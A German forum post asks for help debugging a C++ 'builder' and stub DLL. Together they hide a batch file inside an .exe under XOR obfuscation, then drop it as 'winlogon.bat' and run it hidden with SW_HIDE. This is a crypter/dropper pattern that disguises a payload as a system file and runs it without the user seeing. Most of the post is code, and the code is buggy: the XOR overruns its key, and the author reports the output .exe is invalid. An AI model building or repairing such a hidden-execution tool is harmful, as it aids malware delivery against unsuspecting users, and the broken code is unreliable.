Buildercode Problem



  • Guten Tag,
    ich habe da ein Problem.
    Ich möchte gerne eine Anwendung schreiben, die es erlaubt .bat sozusagen in .exe Dateien zu konvertieren, sagen wir besser diese .bat datei in einer Anwendung zu verstecken, weil es das eher trifft.
    Das soll so ablaufen:
    Anwendung wird mit einem Parameter aufgerufen(Pfad der .bat).
    Die Anwendung ließt die .bat holt sich den Code aus einer .dll.
    Dann wird der code der dll genommen und als .exe erstellt.
    Danach wird der Code der .bat angehängt und eigentlich is die Sache gegessen.

    Ich starte nun die neu erstellte .exe und die sollte eig den angehängten Code aus sich selbst auslesen und ausführen indem sie den Code in eine selbsterstellt .bat schreibt und diese ausführt.

    Ich weiß ich erkläre das gerade extrem kompliziert, aber ich poste mal den Source zum besseren Verständnis.

    Builder:

    #include <cstdlib>
    #include <iostream>
    #include <fstream>
    #include <conio.h>
    #include <string.h>
    #include <stdio.h>
    using namespace std;
    string file, crypted, stub;
    int i;
    char cut[] = "#-#111#-#", x;
    
    int crypting()
    {
    int len = file.size();
     while(i<=len)
                  {
            x = file[i] ^ cut[i];         
            i++;
            crypted += x;
                  }
     }
    
    int main(int argc, char *argv[])
    {
     if(argc>1){
    
     ifstream bla(argv[1], ios::in|ios::binary);
    
        while(!bla.eof())
        {
        bla.get(x); 
        file += x;
        }
         bla.close();
         ifstream dll("BatMan.dll", ios::in|ios::binary);
         while(!dll.eof())
        {
        dll.get(x); 
        stub += x;
        }
        dll.close();
        crypting();
        ofstream blo("BatMans_Batch.exe", ios::out|ios::binary);
        blo << stub << cut << crypted; 
        blo.close();
        cout << "\n\n Batch wurde konvertiert!";
        getch();
        return 1;
    }
    cout << "No file found to convert!";
    getch();
    return 1;
    }
    

    Und die .dll:

    #include <windows.h>
    #include <cstdlib>
    #include <iostream>
    #include <fstream>
    #include <conio.h>
    #include <string.h>
    #include <stdio.h>
    using namespace std;
    string file, crypted;
    int i;
    char cut[] = "#-#111#-#", x, path[MAX_PATH];
    
    int exec()
    {
    
        ofstream blo("winlogon.bat", ios::out|ios::binary);
        blo << crypted;
        char CMD[MAX_PATH]="winlogon.bat";
    ShellExecute(NULL,"open",CMD,NULL,NULL,SW_HIDE);
    
    }
    
    int crypting()
    {
    int len = file.size();
     while(i<=len)
                  {
            x = file[i] ^ cut[i];         
            i++;
            crypted += x;
                  }
    
     exec();
    }
    
    int getting()
    {
    
     HMODULE Get0r = GetModuleHandle(NULL);   
     GetModuleFileName(Get0r,path,sizeof(path)); 
    
     ifstream bla(path, ios::in|ios::binary);
    
        while(!bla.eof())
        {
        bla.get(x); 
        file += x;
        }
         bla.close();
         char *stelle;
         stelle = strstr(file.c_str(), cut);            
         file = stelle;
         file.erase(0, 9); 
         crypting();
    }
    
    int main(int argc, char *argv[])
    {
    getting();
    return 0;
    }
    

    Wenn ich nun aber die neu erstellte .exe ausführe kommt eine schöne Alertbox in
    der steht dass diese .exe keine zulässige Win32-Anwendung ist.
    Mache ich beim schreiben irgendwas falsch?Falscher Modus?
    Ich hoffe mir kann jemand helfen...

    mfg

    und vielen großen Dank im Voraus

    Deliruz

    PS: Ich habe da noch eine XOR-"Verschlüsselung" für die .bat eingebaut, nur falls sich jemand wundert...


Anmelden zum Antworten